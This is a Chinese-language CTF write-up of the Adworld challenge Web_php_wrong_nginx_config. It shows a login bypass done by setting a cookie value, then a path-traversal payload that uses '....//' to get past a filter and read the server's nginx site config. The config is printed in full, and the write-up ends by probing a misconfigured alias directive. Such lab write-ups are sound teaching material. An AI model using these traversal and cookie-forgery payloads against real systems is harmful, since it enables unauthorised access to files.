前言
继续ctf的旅程
开始攻防世界web高手进阶区的7分题
本文是Web_php_wrong_nginx_config的writeup
解题过程
进来是个登录界面
看源码没东西
用御剑扫描发现admin和robots.txt
admin里没发现东西
看看hint和hack
hint提示有问题的文件
hack跳转回登录界面
那就用bp整个过程抓包看看
修改cookie的islogin为1
都点点看
点击管理中心时
url出现?file=index&ext=php
感觉应该是文件包含
测试../
和ext去除
- 发现
../
被过滤但可以用....//
- 发现
?file=index&ext=
没出现continue,但?file=index.php&ext=
出现continue,这里事后查了查大概是前面强制跳转到index,后面成功读取index.php
故可结合hint给出的文件做payload
file=....//....//....//....//etc/nginx/sites-enabled/site.conf&ext=
成功读取到site.conf文件如下
server {
listen 8080; ## listen for ipv4; this line is default and implied
listen [::]:8080; ## listen for ipv6
root /var/www/html;
index index.php index.html index.htm;
port_in_redirect off;
server_name _;
# Make site accessible from http://localhost/
#server_name localhost;
# If block for setting the time for the logfile
if ($time_iso8601 ~ "^(\d{4})-(\d{2})-(\d{2})") {
set $year $1;
set $month $2;
set $day $3;
}
# Disable sendfile as per https://docs.vagrantup.com/v2/synced-folders/virtualbox.html
sendfile off;
set $http_x_forwarded_for_filt $http_x_forwarded_for;
if ($http_x_forwarded_for_filt ~ ([0-9]+\.[0-9]+\.[0-9]+\.)[0-9]+) {
set $http_x_forwarded_for_filt $1???;
}
# Add stdout logging
access_log /var/log/nginx/$hostname-access-$year-$month-$day.log openshift_log;
error_log /var/log/nginx/error.log info;
location / {
# First attempt to serve request as file, then
# as directory, then fall back to index.html
try_files $uri $uri/ /index.php?q=$uri&$args;
server_tokens off;
}
#error_page 404 /404.html;
# redirect server error pages to the static page /50x.html
#
error_page 500 502 503 504 /50x.html;
location = /50x.html {
root /usr/share/nginx/html;
}
location ~ \.php$ {
try_files $uri $uri/ /index.php?q=$uri&$args;
fastcgi_split_path_info ^(.+\.php)(/.+)$;
fastcgi_pass unix:/var/run/php/php5.6-fpm.sock;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_param SCRIPT_NAME $fastcgi_script_name;
fastcgi_index index.php;
include fastcgi_params;
fastcgi_param REMOTE_ADDR $http_x_forwarded_for;
}
location ~ /\. {
log_not_found off;
deny all;
}
location /web-img {
alias /images/;
autoindex on;
}
location ~* \.(ini|docx|pcapng|doc)$ {
deny all;
}
include /var/www/nginx[.]conf;
}
对nginx不了解,查了查
关键是alias,参考
也就是说 alias 会丢弃掉 location 的路径
因此 alias 后面的路径是从系统根目录开始的
尝试访问web-img/
尝试访问web-img../